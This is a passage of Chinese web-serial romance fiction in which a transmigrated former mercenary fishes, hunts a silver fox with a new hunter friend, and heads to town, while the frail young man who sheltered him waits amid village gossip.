许是生的白,肌肤又薄,他那双骨节明晰的手就跟要冻坏了似的粉到发红。 “怕冷怎么不在家用热水洗?”男人低沉的嗓音自上方响起。 柳时雨动作稍顿,仰头,对上双深邃透着询问的黑眸。 “河水还未结冰,砍柴不易,家中剩的那些本就不够烧,能省则省咳咳,”他咳了两声,继续揉洗盆里的衣裳,“而且在这洗完,也省得要多挑两担水。” 其实就算下雪,河面浮了冰霜,他照样得老实端着盆过来。 等再过个十天半月,那才真叫冻得生疼。 好在家中就他和小爹两个,无需干一大家子的活。 凌锋人高马大,又是张长得俊的生面孔,往那一站扎眼得很。 周围不少同样在用棒槌捶打着粗布的夫郎妇人,都忍不住将眼神往他身上瞟。 凌锋毫不受影响也懒得理会。 他盯着小哥儿那双泡囊通红的手,刚要再说句什么,就见人站起身,‘哗啦’将床单提出水面开始攥拧。 湿了水的床单重量惊人,柳时雨细胳膊细腕弄起来笨拙又吃力,只能一截一截慢慢来。 他咬牙费劲,下秒一只看不下去的大手倏地把床单从他那抢过。 “我来。” 柳时雨一惊,欲夺回来的动作愣在空中。 在他那仿佛千斤坠的床单到了凌锋手里就跟一块寻常大小的布料似的,不费吹灰之力就轻松搞定。 他还没反应过来,男人把干了的床单扔进空盆,撸起袖子就准备蹲下帮他洗剩下的衣裳。 柳时雨脸颊一热,赶忙阻止:“这些我自己来便好。” 这几件是他的贴身衣物,还有亵裤...怎能随意叫男子碰。 凌锋被抱住胳膊拉开,有些莫名,兄弟朋友之间客气个啥。 他心里头纳着闷,转而瞥到离岸不远的河水泛起波澜,一群黑色的生物游来游去。 凌锋定睛细看,果然是几条肥美鲜活的鱼。 男人眸色一深,薄唇上扬。 肉这不就来了。 他利落把鞋一脱挽起裤腿,抄起旁边桶上的扁担就下了水。 柳时雨听见动静,意识到他要做什么,想叫住他已经来不及了。 “你当心些!”他站在岸边衣服都没心思洗了,干着急。 这河水如此冷,鱼儿又游得快,一下就窜没了影,寻常人怎么可能抓得住。 “若是水太深,就别往里去了!”他又憋不住叮嘱。 凌锋过去潜渡摸哨的本事可是队伍里数一数二的,泅水侦查能做到让巡防的人毫无察觉。 鱼所在的位置对别人来说或许是太深了,但对于他这个接近两米的大高个来说还算不得什么。 他就这样在多双眼睛的注视下悄无声息摸到了最佳位置,一条鱼都没惊动。 好奇观望的人不少,除了柳时雨在为他担心,其余人大多看个新鲜,觉得他是打肿脸充胖子不自量力。 “那汉子疯了不成?” 柳时雨听到这话抿抿唇,心里有些不适,默默攥紧了拳头为男人打气。 凌锋面无波澜全神贯注,从容地调整好姿势,掐准时机,拿着扁担的铁臂高高扬起,像疾风一般猛重落下。 众人只听得一声击打的巨响! 河面仿佛有水怪作乱似的,瞬间激起丈高水花! 数条大鱼跟着飞溅的水珠被抛到空中,凌锋眼疾手快掀起事先解开的上衣,一兜就是两条。 那动作快准狠,游刃有余。 眨眼的功夫一切便结束了。 围观的人全部呆愣,下一瞬反应过来个个瞠目结舌。 “我的个天老爷呀,这得多大的力气啊?” “我莫不是看花了眼?” “这还是人吗?” 凌锋回头看向在岸边等着他的小哥儿,挑挑眉,嘴角扬起一抹得意耍酷的笑,水珠顺着他棱角分明的下颌滴落。 柳时雨望着那张英俊硬朗的脸,心似是被羽毛儿蹭了一般,久未回神。 “接住。”凌锋提醒。 语罢,他怕人手小鱼跳抓不稳,两拳头下去,把鱼敲晕了才朝着人的方向扔过去。 柳时雨根本没做好准备,心头一慌,身体本能早先于思考,敞开怀抱迎上去将鱼接进怀里。 有一条掉到地上,他又赶忙紧张宝贝地捡起来揣好。 这可是鱼,是肉,对他来说是很稀有难得的荤菜。 平日他只能靠鱼篓捕捞些小的,这么大的他不会水抓不到。 就连小的大部分也都晒成鱼干拿去卖钱,他舍不得吃。 最多给小爹留上几条。 凌锋甩甩一头湿短发回到岸边,薅了把脸上的水。 他整理好 身上的衣裳,顺便穿鞋,看着抱着鱼傻愣在那的小哥儿觉得好笑。 “这两条鱼就当我们晌午饭,你现在先回家煮,衣裳等会回家用热水洗,我帮你拿回去,水和柴我来搞定,你尽管用。” 见人纠结没反应,还心疼那点柴。 他又带着几分无奈吓唬道:“赶紧趁现在这两大玩意还晕着,等会醒了你抓不住放跑了让我白费这劲,我可是会不高兴的。”他催促,“快去,饿了。” 柳时雨一听这话当了真,什么都顾及不得了,就怕真如男人说的,一会这大鱼从自己怀里扑腾走。 “那我先回去了,东西重,你慢些。” 他慌张说完便小心抱着怀里滑溜溜的鱼往屋头跑。 跑出去老远才后知后觉意识到自己应当是被忽悠了,鱼放桶里不就跑不掉了。 所以,他是故意的... 柳时雨抿唇,迟疑着回头看了眼。 望过去只能瞧见男人不大点的身影,正一手挑着两桶水,一手端着两个盆朝着这边方向来。 小哥儿清亮的眸子闪烁了下,掠过一抹笑。 “哎哟雨哥儿,你这鱼上哪弄来的?”路过的一大伯凑过来问。 “这大寒天,你捕的?” 不少乡亲都稀奇过来瞅上两眼。 都知道他家情况,断是没银子买的。 柳时雨面上的神情瞬间敛淡:“凌大哥在河里抓的。”他敷衍着回答。 怕人多嘴杂,脚上步子加快闷头往家走。 “凌大哥?俺们村有姓凌的?” “哎呀,”另一八卦的婶子意味深长接话:“就他家那个...” “呵,狐媚子,勾搭完这个勾搭那个。”说这话的眼馋的目光直往鱼上瞟。 一路的议论声窸窸窣窣往柳时雨耳朵里飘。 “那日你是没看到,那汉子体格...拳头沙包大,就跟说书的讲的那大将军似的,定是个磋磨人的,雨哥儿那蒲柳一般的身子骨,定是经不起...” “什么大将军,充其量就是个莽夫!动不动就揍媳妇夫郎那种...” 听到最后这句,柳时雨步子倏地停下。 他脸色冰冷,眼神带着警告狠狠朝着那人剜过去。 长舌者心虚悻悻地闭上了嘴。 “走走走。” 柳时雨心口一阵怒堵,他们认都不认识凌大哥,凭什么这样说他坏话。 只是因为他和自己沾点关系,就要被这般编排吗。 5. 双箭齐发 凌锋挑了好几担水才把缸填满。 要不是怕太拉风吓到他这位传统保守的小恩人,他恨不得直接把缸搬过去装满了再扛回来,免得来回跑。 棚下土灶柴火烧得正旺,锅里的鱼汤煮沸咕噜咕噜翻细泡,袅袅炊烟顺着棚沿升腾。 柳时雨被暖意和食物的鲜香围绕。 他拿着铲搅动下锅底,咽了口口水盖上了盖儿。 凌锋把水桶归置好,接过小哥儿递过来的帕子擦干身体。 然后又捡了几块大石头,熟稔的在厨棚旁边的空地另起了个火堆,烤泡湿的衣裳和剩下的一条鱼。 自小吃了上顿没下顿的小哥儿饿怕了,这么些年也精打细算惯了,处理好的鱼只炖了一条,觉得大小够凌锋吃,就没舍得全做。 柳时雨从缸里舀一瓢水倒进盆里把手洗净。 这满满一缸光是看着就叫他心里满足,他力气不够大,过去总是挑一点用一点,水缸就没有满的时候。 “凌,大哥...”柳时雨不知何时手里拿了个小瓷瓶。 他看着男人很小声唤他,也不知这个称呼合不合适。 正专心烤鱼的凌锋慢半拍才反应过来是在叫自己,大方抬头:“怎么?” “你身上的伤泡了河水,我给你看看,抹些药膏。”柳时雨说完,又自顾自地解释:“若是有没好全的,染了疮毒就不好了。” 凌锋把穿着树枝的烤鱼翻个面,没多废话,霍地一下站起来走过去。 “你来吧。” 柳时雨觉着自个儿面前仿佛站了座肉山,瞧着这线条分明扎实有力的肌肉,止不住脸颊薄红。 他抬眸飞快瞥了眼男人那坦然正气的模样,稳住心神,莹润的指腹从瓷瓶里挖出药膏轻轻为他涂抹。 “你今日,好厉害,”静得有些尴尬,柳时雨便别扭地找了个话题,“我就从未想过,扁担除了挑东西还能那样用。” 触摸他身体的这根手指斯文且软,动作轻得他有点痒。 跟他主人讲话一样,慢声细语,温温柔柔。 凌锋以前接触的男的都是些粗放爽利,不修边幅的糙汉兵痞,还是头回跟这种一言一行都透着股子秀气清冷的家伙相处。 把他整得都有点不会了。 “工具造出来就是为人所用,只要乐意顺手,怎么用都是用。”凌锋随口回。 他前世雇佣兵第一课,就是把身边一切可以利用的东西,都变成自己熟练应手的武器,只要能完成任务,达到目的。 锅盖揭开那刻,鱼汤浓郁的醇香裹着蒸汽扑面。 汤的颜色早已炖煮成勾人馋虫的乳白色。 锅沿还贴了几张野菜粗粮饼子。 柳时雨把饼铲下来,拿了一张,看看凌锋抿唇纠结一番,盛了小碗鱼汤准备给小爹送去。 “等等。”他刚转身就被凌锋叫住。 凌锋没多扯有的没的,抢回人手里的碗。 柳时雨小脸瞬间一白,不知所措,正以为男人是觉得他自作主张占便宜时。 就见对方在锅里铲了一大块腹肉放进碗里,用筷子细心地挑干净刺,又添了点汤,才重新把碗递还给他。 小哥儿已完全不知该作何反应了,只觉得眼眶热热。 他怔怔的接过那碗,怕被看出端倪,也觉得自己小人度君子之腹,有点没脸,垂着脸蛋瓮瓮道了声谢谢,匆匆跑去了小爹屋里。 土床上的小爹见儿子进来,立马撑着瘦骨嶙峋的身子坐起,他虽缠绵病榻面色憔悴,但眉眼轮廓还是能瞧出几分年轻时的风采。 柳时雨单手帮小爹把衣裳垫在腰后,再把鱼汤给他。 “儿啊,这是哪来的?”柳家小爹被这满满一碗给吓住了,他们家哪里是一顿吃得起这么多荤腥的。 就怕是自己这不中用的身体拖累了儿子,让他走了歧途。 柳时雨知道小爹在担忧什么,赶忙露出宽慰的笑解释:“是凌大哥抓的,没花银子,你安心吃,这条鱼可大了,我们锅里还有很多呢。” 小爹这才缓松口气。 等柳时雨重新回到厨棚,男人已经穿好衣裳一口肉一口饼大快朵颐了起来。 土灶的锅边还放了两个碗,一看就是特意留出来的。 一个碗里盛满炖煮出来的鱼肉鱼汤,另一个碗里放着去了焦皮的烤鱼。 还是那块最嫩刺最少的肚肉。 “愣着干什么,你的。”凌锋抬了下下巴示意。 他知道以这小子的性子,要是不这么明确分好给他,态度强硬点,指不定又是跟他一番客气,不好意思多夹多吃,束手束脚。 柳时雨的身量比汉子要小,骨架比一般小哥儿舒展,看起来就更显得瘦,稍稍低头,颈后的骨头就很明显,手腕腰肢更是纤细,身上没什么肉,全靠体态撑着。 凌锋早就注意到,也不知道补多久能补到正常标准,再喂胖点。 柳时雨小心地捧着那晚奶白色的汤,喝的时候更是小口小口,鲜甜的味道钻进口腔,感觉味觉都被激活了。 他原本还有些冷的身子和胃瞬间暖烘烘的,泛白的嘴唇也有了血色,待那张快埋进碗里的小脸抬起来,眸子肉眼可见的发亮。 方才胃里的那股暖意仿佛顺着血液暖进了心里,全身上下散发着满足。 凌锋眼尖,翘了翘薄唇,到底年纪不大,就算习惯情绪不外露,吃到好吃爱吃的还是会像小孩一样高兴。 这古代虽然没什么调味料,也没生姜料酒去腥,但胜在鱼新鲜水质好,就这么简简单单做出来味道意外的不错。 等吃的差不多,凌锋很勤快地开始收拾碗筷。 “我来吧,你放着就好。”柳时雨忙抢着干活。 鱼是人家抓的,又还负责烤,他和小爹加在一起吃的可不少,怎么能连碗都让人家刷呢。 “行。”凌锋没推辞。 他走到墙角拿起自己之前制作的那张弓和箭检查了一番,确定没问题。 “我上山一趟。” 柳时雨呆了一瞬,手里的活暂停,有些担心:“这山你不熟,等我刷完碗同你一起。” “不用,上午我找人打听过,也摸了路,”凌锋见人还一副纠结的表情,笑道:“没事,你忘了,我是猎户,进山就跟回自己家一样,你乖乖等我回来。” 也是,小哥儿被男人这自信的模样说服。 “你稍等我一会儿。”他又想起什么,快步进了屋。 须臾,拿着个小粗布包走出来。 “这是我往日上山采药给自己准备的干粮,你带着。”柳时雨双手递给男人。 他偶尔会给小爹把餐食准备好,不回来便会用这对付一顿。 凌锋接过,学着古代人的样揣进衣襟里。 “还有这个,”小哥儿又拿了个类似吊坠的玩意,“这是我碰见你那日,你戴在脖子上的,差点就忘了。” 这东西他从未见过类似的,闻所未闻,想必比较珍贵,也不知道是做什么用的。 那天光记着救人把他拖回来治伤了,现在想来那时候男人穿的衣服也很奇怪,虽破破烂烂,但料子和款式都很特别。 凌锋面上闪过一丝意外,没想到这东西也跟着穿过来了。 这是他们末世后,队伍里人手一个的多功能小型设备,名叫微端。 光能充电,只要有光的地方就能用,可以根据需求自由变换机械形态。 野外生存的时候最能发挥作用。 比如可以变成眼镜,产生一面仅自己可见的无形透明光屏,对视线所及的一切生物进行数据分析,包括危险评估和价值核算。 晚上还能用作热感红外追踪器和夜视仪等。 可惜在这不方便展示,太招摇恐怕会被当成异类。 凌锋把微端重新挂脖子上,拿起背篓。 柳时雨欲言又止,最后叮嘱:“你伤才刚好,行事谨慎些。” 这么紧张他,凌锋洒脱答应,走前还揉了把人的脑袋。 俨然是一副年长者对弟弟照顾的姿态。 柳时雨却碰了下自己的头,望着那抹高大充满安全感的背影臊红了耳尖。 . 远山一层叠一 层,灰蒙蒙横亘在天际。 凌锋沿着事先打探的路线从大路往山的方向走,人烟渐渐稀少,他再根据情况拐进小道进了山里。 初冬时节,放眼望去,草木大半褪去绿意,满地倒伏的野草和枯叶被脚步碾得簌簌响。 林子深不见底,冷风幽森,参天大树一棵接着一棵更是望不到尽头,枝桠交错虬曲遮天蔽日。 空气中漫着一股清冽沉厚的气息。 腐叶湿土老树皮,以及山野生灵存续的味道。 凌锋循着草间踪迹缓步前行,在林里探寻了大概一刻钟。 终于,不远处草丛传出窸窣轻响,他眸色一凛侧耳微动。 果不其然下一秒,便有一只扑棱着翅膀的斑斓野鸡腾空而起,从草丛往枝头大树上窜飞。 凌锋没有分厘的迟钝,反应极快动作敏捷,弯弓一拉,箭矢急射而去。 野鸡不大点的脑袋被箭直接扎透,飞到半空瞬间毙命,闷声滚进了叶堆里。 凌锋放下弓走过去,拎起来。 是只还算肥壮的鸡,毛色漂亮油光水滑,不敢想把他烤了得有多香。 烤一半再炖一半,够给家里那位小哥儿加餐补营养了。 他心头想着,把那箭从鸡头拔出来,继续回收利用。 在末世的时候打丧尸习惯了打脑子,现在穿越了打猎一时没改过来。 有些动物射躯干应该好点,留一口气不马上死,保存时间也更长。 或者吃不完,拿回去养养也不错。 凌锋边琢磨边继续寻找其他猎物,之后又轻松打了两只野兔子,挖了点一种类似木薯的野生根茎。 这种东西淀粉和碳水的含量极高,口感算不得多好吃,但蒸透了跟家里那野菜饼子换着吃总不错。 在山里大概耗了一个时辰。 凌锋看着现下手头的收获,还是觉得没达到自己的理想预期。 都是些不值钱的,只能改善伙食添点肉菜。 他抬头望向这深山老林,看样子还是得往里去去,他第一次进这山,一直在外围打转,现在天冷,大点的兽类估计都在深处猫冬难得出来。 凌锋把猎物捆好放进背篓,索性沿着残留的兽径和干燥的动物粪便向前探索。 林间冷风阵阵,光影斑驳,时而传来些空灵森然的虫鸣鸟叫。 他步履尽量轻缓踏到实处,既要时刻警惕周围的动静,也要小心踩到什么不该踩的东西。 男人穿过灌木,拨开垂落在面前的藤条。 突然黑眸一定! 目光像一把锋利的刀刃朝着某个方向扎过去。 一抹亮眼的银白倏地闪过,四足灵巧,身姿轻盈一晃便钻入林木之间。 凌锋心中一喜,我去!好东西! 他迅速拔步追赶,速如疾风紧撵不放,那抹白越来越近越来越近! 果然,是只皮毛似雪的银狐! 一人一狐争锋追逃的身影在林间炸开,其动静惊扰了不少沿途的昆虫小动物。 凌锋体力耐力极佳,银狐比他更加熟悉这林间动向,可还是渐渐被他追得有点体力不支,慌不择路。 他掐准时机和距离,弯弓拉月,一支箭咻地射出。 谁知那银狐恰好转了弯,只发出声被擦伤的惨叫,逃得更加拼命。 凌锋没有丝毫懈怠,加快速度,持续追踪。 正当他聚精会神准备射出第二支箭时,银狐所在的另外一个方向突然传来更大型生物的动静! 难不成有猛兽? 凌锋这个疑问刚冒头,骤然听见尖锐的破空声响,一支冷箭朝他直直射来! 他从容闪开,箭矢擦着他胸口呼啸消失。 艹,他妈是哪个不长眼的把他给当成猎物了。 凌锋恼火地咬紧牙关,继续穷追不舍。 很快又撵到了银狐屁股后头。 他不做片刻迟疑,当即拉弓松弦! 与此同时,另一个方向一支陌生的箭瞬息汇入! 两只箭竟一左一右以同样的速度袭向奔逃的狐狸... 6.进城一趟 银狐头部中箭,受力飞出半丈,应声倒地。 凌锋气息微乱,大步走上前查看。 射中的是他,另一只箭插在地里,仅偏了一点点,假如不是他先于对方之手拉弓放弦,这只狐定连中两箭。 相比起他新制的简易版弓箭,地上这个明显是只箭杆厚实铁镞锃亮的旧矢。 后方传来枯叶踩踏的脚步声。 凌锋警惕回头,离他数十步远的地方站了个壮汉。 他肤色是晒出来的黝黑,身形结实,眉眼粗粝锐利,背上斜挎一张旧弓,腰间悬了把猎刀,一看就是常年进山讨生活的人。 他这个假猎户倒碰上了个真猎户。 之前冲他放冷箭抢猎物的应该就是这人。 不清楚对方的底细,看着不太好招惹,万一是个贪财害命的。 凌锋没轻举妄动,跟他隔空对视了几秒。 对方似乎也在对他进行判断。 那人先有了反应,他眼珠转动,细看了看地上的银狐。 “这狐是你射中的?” “是。”凌锋淡定回答。 一刻钟后。 两个汉子拿着各自的猎物一并下山,相谈甚欢。 “哈哈哈哈哈,这片山我打小便熟,十里八乡的猎户就没有我余斌不识得的,更别说像你这般本事不凡的!”余斌拍着胸膛语气是实打实的叹服,“小兄弟看着这么面生,姓甚名谁?是哪个村儿的?我当真是没见过。” 银狐的脑袋搭在凌锋背篓的边缘,随着他的步调轻晃。 “兄台过誉了,”凌锋入乡随俗的客套,没想到这哥们性子居然这么豪迈,“我就是一新来的外来户,姓凌名锋,暂居在山脚下的柳家庄。” “柳家庄的外来户?那不就是俺们隔壁村...”余斌似是听到过什么闲话有点印象,又懒得多想。 他粗糙的手掌‘啪’!爽朗地拍上凌锋的肩膀:“你我今日竟盯上同一只活物,我看你面相也投缘不打不相识!山中各处我都熟,卖皮子找铺子这些我也门儿清!你若是有需要尽管来找我,咱们交个朋友,日后多走动!” 这话正中凌锋下怀,也提醒了他,有了东西还得有销路,有这哥们在倒省得他自己去折腾了。 “那就先多谢兄台,我刚好初来乍到,猎了这狐也不知道该送到哪去,家中也正缺我拿这换些银子解燃眉之急。” “好说,你这箭射得好!中的狐狸头,皮子整毛色又靓,定能卖个好价钱!”余斌热心肠得很,揽着凌锋又亲近道:“什么兄台不兄台,生分!我看你瞧着年岁也不大,我今年二十有三了,你管我叫哥便可。” 才二十三? 凌锋半边眉头微跳。 这年纪这长相,是着急了点。 哥就哥吧,还是不告诉他真相,打击了他... “凌老弟,我看你这弓箭瞧着别致,不像是咱们本地的样式,是你自个儿新做的?”余斌好奇问。 凌锋大方递给他,看他一脸稀罕上摸下看。 笑道:“家乡的一种小工艺罢了,省材料做法简易,轻便是轻便,但射程也有限,不及现下市面上的那些精细耐用,百步穿杨。” 他说完,又从衣襟掏出柳时雨给他的那包干粮,打开分享一块给余斌。 “你若是喜欢,改日我做把新的送你。” 猎户嘛自然对这些最感兴趣。 心思被看穿,余斌不好意思憨笑,接过那块干粮放进嘴里嚼,顺便把弓还给凌锋。 “我看你这包干粮的布,像是姑娘家或哥儿的手笔,凌老弟可是结过亲了?” 凌锋神情一滞,也不知是被这突如其来的话问的,还是糙粮干的,有点噎住。 他脑中闪过小哥儿那张清冷秀弱的脸。 “嗯,”他不自在地摸了把鼻,含糊其辞,“快了吧。” 竹制扫帚扫去檐下落叶。 初冬天开始黑得早,天色已然暗下来。 柳时雨忍不住频频往上山的那条路看,干活有些心不在焉。 不会儿,路的尽头出现两个黑点,越来越近也越来越清晰。 “凌大哥...”确定了的小哥儿唇角显出淡淡的欢喜,双腿不受控制地迎前几步。 快下山的时候凌锋又顺便在附近弄了一大捆柴,这回没想起来带斧子,捡的都是些粗长的树枝。 隔得老远,他就看见了巴巴等在那儿的人。 “我帮你拿。”待男人走进,柳时雨忙上前去取他背在前边的背篓。 光惦记帮忙了,完全没注意看里边的货,当背篓的重量猝不及防落在柳时雨怀里时,他清瘦的肩猛地下沉,胳膊一坠,慌乱抱紧。 凌锋反应迅速,大掌稳托住底部。 小哥儿肉眼可见松了口气,耳尖又红了。 凌锋满眼无奈装无事发生,跟着走向厨棚,一块儿把东西都卸下。 柳时雨方才那股丢人的窘迫还未消散,想替自己找补两句,就听见有人叫凌锋。 “凌老弟!说好了明日卯时,我在你们村口等你一块儿进县里,莫忘了!” 凌锋朝余斌的方向应了声,说了句客气话。 本想叫他进来喝杯水,但天色已晚,他也赶着回家,到路口说什么都不进屋,便也不好再强留。 “他是?”顺着看去的柳时雨收回视线。 “今日在山上认识的,也是个猎户,叫余斌。”凌锋边回答边把背篓里的好东西都拿出来,“我跟他约好了,明日进县城一趟,把这狐狸皮子给卖了。” 柳时雨才看清这收获满满的一篓子。 一只野鸡,两只野兔,两只竹鼠,还有一只毛色特别漂亮的银狐。 “这么多...”他惊讶地张了张嘴,难怪方才那般沉。 他一年下来都见不到这么多荤肉。 还有那堆柴,够他平日往返两三趟了,多到险些放不下。 小哥儿不自觉露出点崇拜之色。 “竹鼠是刚才那兄弟送的,进城之后少不了他帮忙,等回来我们招待他来家里吃顿饭。” 凌锋说话头也没抬,开始烧火忙活,赶着时间把这些能处理的先处理了。 尤其是那只鸡,今晚就给拔了毛收拾了做来吃。 “诶,是该好好答谢人家。”柳时雨认真回答,忙拿瓢去水缸里舀水添进锅里。 他心口噗通跳个不停,仅是因为男人嘴里说的那个家字,那双清亮的眸子不受控地往对方身上瞟。 他是将这儿,当成家了? 两人一起配合干活速度倒快。 不到半个时辰那只野鸡便被收拾干净,一半被切块扔进了锅里炖煮,另一半还是跟之前烤鱼一样,凌锋插了根树枝架在火堆上烤。 野鸡大半皆是精肉,肉质紧实,烤的焦香冒油,炖的汤更是醇鲜。 一家子又舒舒服服吃了顿好的。 柳时雨还被凌锋要求着,愣是多喝了碗鸡汤,撑得他干瘪的肚子都有了点弧度。 剩下的那些猎物凌锋吃饱之后自己处理。 家里总共就三口人,除了凌锋食量大点,其他两战斗力都不行。 小哥儿许是又瞎琢磨了,提议说不如把兔子也卖了,换了银子让他自己存着。 凌锋觉得没必要,这点肉自己吃就行,也卖不了几个钱他不差这点。 现下天冷,食物好储存。 凌锋留了一只竹鼠和一只兔子挂在灶上熏制,其余的明后天就烹饪了,吃到大后天不成问题。 “锅里我多烧了水,用不着心疼柴,”收拾完的凌锋,看了眼坐在屋檐下陪他的小哥儿:“你今天在河边吹了风又着了凉,一会洗个热水澡再睡觉,能睡得踏实点。” 他语罢,又熟稔地往灶里添了火。 柳时雨本来是想见缝插针地帮忙,但大多数活男人都包揽了,他没事做就只好坐在一旁发呆地看着。 现下对方突然同他说这样一段话,他愣了下,一时没反应过来。 “嗯,好。”小哥儿声音有些发闷地应。 夜逐渐深了,凌锋这有明旺的火光,柳时雨那只有影影绰绰的月色。 他耳尖,敏锐地察觉到人这声音有点不对味,但既看不清脸,就选择了装傻。 他清清嗓子,安慰性多句嘴:“以后都这样。” 灶里的柴噼里啪啦地燃烧,橘红色的光打在男人英俊的五官上,明暗清晰,轮廓分明。 柳时雨在暗中悄悄盯着看。 放在过去,夜间他定栓好了屋门,定是不敢再出来的,可现下他却有种强烈的安心和可靠。 他们家拢共就两间睡觉的屋子,洗澡只有个简易的茅草棚,搭在屋后土墙边的角落。 风一吹就冷得慌,洗也只能等晚上天黑透了洗,不然路过一人就能被看个精光,担心这担心那,属实是十分的不方便。 凌锋身体抗造,犯不着用热水,柳时雨洗澡的时候他就在屋前 的坪里凑合用冷水冲冲。 水桶放回原地,凌锋往他住那屋走,正好迎面撞见柳时雨。 两人离得近,彼此的脸也就看清了许多。 小哥儿一身素净里衣勾勒着细瘦腰肢和单薄的身躯,乌黑柔软的发与脸蛋沾着水汽,月光下的眉眼朦胧如画,漂亮得像是刚下凡的谪仙。 凌锋喉结滚了下:“找我?” 柳时雨眸子飘忽着,一点儿都不敢再往男人那身孔武有力的肌肉上瞧。 他刚洗了暖和的热水澡,浑身温暖,也就不觉得冷。 “灶上还有几个窝头,你一会儿端屋里去,明早起来烧火蒸热便可,吃饱了再去县里,免得路上饿肚子。” 晚风轻拂,一股淡淡的草药味裹着幽香飘进鼻尖。 “嗯。”许是初冬冲凉,凌锋嗓音有点沉哑。 柳时雨脸蛋微垂着,想再多说点什么。 比如早去早回,比如我在家等你。 可终究没开得了口,转身逃似的回了屋锁了门。 翌日一早。 柳时雨起床时凌锋便没了人影。 去县里要赶早才能不错过早集,有些铺子每日收的货定了数量,去晚了东西也怕买不上好价钱。 尽管知道如此,他看着空无一人的屋还是会莫名的不安。 “哼,一个外来户,要什么都没有,连彩礼都拿不出来,还指望他提亲?痴心妄想。” “族长那晚不是叫那汉子三日内去公家写婚贴,现下两天了,人影都没见着...” “不知检点,身子就这么随随便便给了别人,到时拖着不负责,看他怎么办!” 凌锋打猎回来的时候没避着村里人,很多人知道他背了满满一篓子东西。 今天早上也不少人看到他往城里去。 这会儿他不在,村头村尾的闲话又开始在柳时雨耳边传。 其中总能看到他二婶刘桂花的身影。 能跟她臭味相投在背后讥笑编排柳时雨的,大多是嫉妒他的样貌,想败坏他名声的。 他们的家的女儿哥儿不如别人家孩子长得好看,便去抹黑一番,便觉得能更有机会抢好人家嫁。 柳时雨在家望眼欲穿等了半日,直到吃过午饭,男人也没见回来的影子。 应是一来一回耽搁时辰,许是要下午去了。 他想着便背着篓子去了山脚下,闲着也是闲着,闲着就容易多想,不如去采些这时节常见的草药。 出门时听了几句风凉话,回来时更不得消停。 “定是反悔了,他一个克亲又难生养的大龄哥儿,谁能真心看上他呀。” “若是我,也进城把东西卖了,拿了银子就跑,还回来才怪。” 见柳时雨过来了,那些人又装作若无其事地闭了嘴。 柳时雨纤白的手不自主地攥紧,纵使再表现得不在乎,脑中仍总是响起那两句话。 他坐在檐下挑拣草药,盼啊盼,愣是盼到天蒙了灰。 心间几番争斗下,柳时雨再坐不住了,放下簸箕就往进城的方向闷头跑。 初冬冰冷的风在耳边刮响,一头用发带绑好的乌发同乱摆的宽袖随风飘扬。 他想起了许多与凌锋相处的点滴。 为什么不过才认识不到一月,才相处短短两日,他便这般舍不得他了。 小哥儿的步伐在两村交界进城的必经岔路口停下。 他大口地喘息,一阵胸闷气短,也全然顾不得,只目不转睛急切地往靠近的牛车上看。 终于看到了个眼熟的人。 “余斌大哥?”柳时雨忙走上前,“你是余斌大哥吗?” 天色已经渐黑,余斌从牛车上跳下来,仔细打量眼前的小哥儿。 “你是?凌老弟家那口子!”余斌总算看清楚,立马笑了,“咋了,在这等你家男人?” 他们两昨日也打过照面来着。 “对,”柳时雨礼貌扯动嘴角,不死心地又看了眼准备离去的牛车,“他没同你一起回来吗?你可知他去哪了?” “这我就不知道了,我俩上午卖了皮子,一块儿去吃了碗肉馄饨就分开了,他说他要去办点事儿,具体他也没说去干啥。”余斌挠了挠脑袋回答。 柳时雨神思刹那一片茫然,心口空落落地。 他尽力敛了敛神,跟余斌说句谢谢道了个歉,拦了他道又占了他时间。 等客气完,他才失了魂似的沿着路往回走。 7.心神不宁 柳时雨趁着天没黑全,埋头将剩下的草药全都挑拣好,早日风干晾燥,也好早日拿去卖银子。 他掐灭自己心底的浮动,如过去般,不为自己无法左右的事劳神。 万一他只是晚归,就算不是... 他的日子总归还是要过,不是缺谁不可。 经历过那么多世间波折和捶打,他照样跟小爹相依为命过来了,才短短体验了几日看着要好起来的日子,不足以影响得他要死要活。 该如何便如何,最坏的打算莫过于这村里的闲言碎语将他淹了,留不下他换个地方活罢了。 凡事不抱期望。 才好。 “时雨,雨哥儿,你在吗?” 一个清脆的少年音骤然传来。 柳时雨有些木讷地拉回思绪,循声望去。 坪外路边站了个身量瘦小的小哥儿,杏圆眼巴掌脸,气质可爱讨喜。 他手里头还捧了个碗。 柳时雨忙放下指间捏着的草药,拍去手上的泥尘,迎上前:“小禾,你怎么来了?” “我娘今日做了绿豆糕,我给你送些甜甜嘴儿。”柳禾将碗递过去,目光盯着时雨,观察他的情绪。 他在娘那听说了雨哥儿同那外来户汉子的事。 今日在村里更是听了不少人嚼舌根。 他们说那汉子骗了雨哥儿的身子跑了,说是进城卖东西,结果天黑了也没回,连个口信都没有。 他怕雨哥儿心里头难过,便借着送绿豆糕的幌子来看看他。 他与时雨算得上是竹马是发小,他也了解他。 时雨平日里惯会掩藏自个儿的委屈和难过,在旁人面前做出一副冷冰冰的样子,不叫人瞧出喜怒哀乐。 天色暗,但柳禾还是看出柳时雨的眸子比平时要湿润许多。 “时雨,你尝尝看,可甜了,”柳禾也不知该如何安慰,“吃完心情会好些...” 柳时雨拿起一块绿豆糕送到唇边浅咬了口,绵密细腻的甜味儿在口腔化开,非常香甜。 他嘴角牵起抹淡笑,跟柳禾说了句谢。 然后又想到什么,叫柳禾随他走到厨棚那,分了半扇兔子腿给他。 “这不行,你家本就艰难,我哪能分你的肉。”柳禾忙摆手。 “不碍事,不是买来的,我这还有不少,够吃。”柳时雨说着,将绿豆糕换了自家的碗装,连肉带碗一块儿塞到柳禾怀里。 柳禾便也不再好推拒,他们两家有好东西常会互相送点,历年雨哥儿家过冬困难时,他们家也没少帮衬。 柳禾看看这肉,浅叹口气:“这是,那汉子猎的?” 柳时雨一怔,眸光微微黯淡,但还是点头‘嗯’了声。 担心好友伤心,也替他鸣不平,柳禾急切道:“你莫要听那些外人胡说,他们就是羡慕你生得好看,怕被你比下去!见不得你好!你样貌人品都是我们村顶尖儿的,不管发生什么,你都是个顶好的小哥儿!” 柳时雨被好友这副替自己激动忿忿的模样暖到,表情霎时有些哭笑不得。 柳禾走后,柳时雨洗漱完,将该收的东西都收进屋里。 如过去年复一日未被打扰的生活般,最后朝进城的方向看了眼,在天黑透前栓好了门。 他整理好一切,便吹灭油灯掀开被子上了土床。 许是肺里灌了凉风,嗓子眼又痒得厉害。 柳时雨蜷缩着身子呆望着窗外凄冷的月光有一下没一下地咳嗽,时而剧烈时而强忍。 “阿雨,”黑暗中,睡在他旁边的小爹虚弱出声,“孩子,去喝些水润润,可是又着了寒?” 